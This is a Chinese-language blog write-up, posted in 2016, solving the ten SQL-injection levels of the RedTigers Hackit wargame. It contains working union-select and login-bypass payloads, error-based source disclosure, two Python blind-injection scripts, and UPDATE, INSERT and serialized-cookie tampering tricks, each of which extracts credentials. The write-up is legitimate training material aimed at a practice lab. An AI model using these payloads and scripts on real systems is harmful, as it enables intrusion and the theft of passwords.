web

RedTigers Hackit

writeup

Posted by dogewatch on May 18, 2016

LEVEL 1

很简单的注入,在cat=1后面用and 1=1, and 1=2判断存在注入后上order by,然后union select注出数据

http://redtiger.labs.overthewire.org/level1.php?cat=0 union select 1,2,username,password from level1_users

LEVEL 2

万能密码,用户名a’ or ‘’=’ ,密码a’ or ‘’=’

LEVEL 3

这题名叫get an error,刚开始以为是报错注入,无果,后来发现是利用php的报错得到部分源码。

http://redtiger.labs.overthewire.org/level3.php?usr[]=MTI5MTY0MTczMTY5MTc0
Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21

查看这个inc文件,可以看到usr参数的加解密方法。将字符串' union select 1,username,3,4,5,password,7 from level3_users where username='Admin加密后得到Admin的密码。

LEVEL 4

这题是个盲注,用and 1=1, and 1=2判断存在注入后,用length判断长度,然后写脚本一位一位地跑出数据。

#!/usr/bin/env python
# encoding: utf-8


import requests
s = requests.session()

str='abcdefghijklmnopqrstuvwxyz0123456789'
headers = {'Cookie': 'level2login=; level3login=; level4login='}
result = ''

for x in range(1, 18):
    for i in str:
        url="http://redtiger.labs.overthewire.org/level4.php?id=0 union select 1,keyword from level4_secret where ascii(substring(keyword,%i,1))= %i" % (x, ord(i))
        r = s.get(url, headers=headers)
        if "1 rows" in r.content:
            print i
            result += i
            break

print result

LEVEL 5

常规的万能密码在这不好使,看到提示说密码是32位md5值,估计是后台对第二个值做了长度判断,于是用如下payload成功登录。

username=' union select 1,md5(1)#&password=1&login=Login

LEVEL 6

试出sql返回数据有5列,然后发现左右括号被过滤了,填充字符发现报错:

http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,'a',3,4,5
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/hackit/level6.php on line 27 User not found

将字符转为十六进制表示方式就没有爆粗了,但是什么数据也没有,当试到‘Admin‘的十六进制表示时发现有反应了,于是猜测是用第二列的数据又做了一次查询。然后将一下字符串转为十六进制填充到第二列中得到数据:

' union select 1,username,3,password,5 from level6_users where id=3#

LEVEL 7

这题让我学到了一个新姿势。首先发现除了提示的几个函数被过滤掉了外,常用的几个注释符也被过滤了,不过影响不大,先用search=Google%' and 1=1 and '%'='&dosearch=search!判断注入点,然后用Google%' and length(news.autor)=17 and '%'='找出长度。接着就是用脚本盲注了,除了被过滤的几个函数外,我们可以用locate函数来一位一位地判断数据。在注入过程中发现这个表的内容大小写不敏感,查资料知道用collate latin1_general_cs可以区分出大小写(新姿势get),下面是脚本:

#!/usr/bin/env python
# encoding: utf-8


import requests
s = requests.session()

str='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
headers = {'Cookie': 'level2login=; level3login=; level4login=d; level5login=; level6login=; level7login='}
result = ''
flag = False

for x in range(1, 18):
    for i in str:
        url="http://redtiger.labs.overthewire.org/level7.php"
        search = "Google%%' and locate('%s',news.autor collate latin1_general_cs,%d)=%d and '%%'='" % (i, x, x)
        payload = {'search': search, 'dosearch': 'search!'}
        print payload
        r = s.post(url, headers=headers, data=payload)
        if "SAN FRANCISCO" in r.content:
            flag = True
            result += i
            print result
            break

print result

LEVEL 8

挨个加引号发现email处存在注入,根据报错的内容可以看到这个sql语句的大致格式,然后构造

email=', name=password,icq='&name=Hans&icq=12345&age=25&edit=Edit

可以让name处显示password。

LEVEL 9

挨个测试发现textarea处存在注入,填入'),('发现报错:Column count doesn’t match value count at row 2,随后试出后面的括号中有3列数据,于是构造payload:

'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'

LEVEL 10

点击login,抓包发现login参数的数据长得像base64加密的内容,解密得到: a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";} 将username的值改为TheMaster,注意前面的长度。但是password的值不知道怎么弄,尝试改为bool类型,没想到居然过了。

尾声

因为周末有个比赛,而一直以来注入这一块就是短板,所以打算找个东西练练手,学到了新的姿势很开森啊。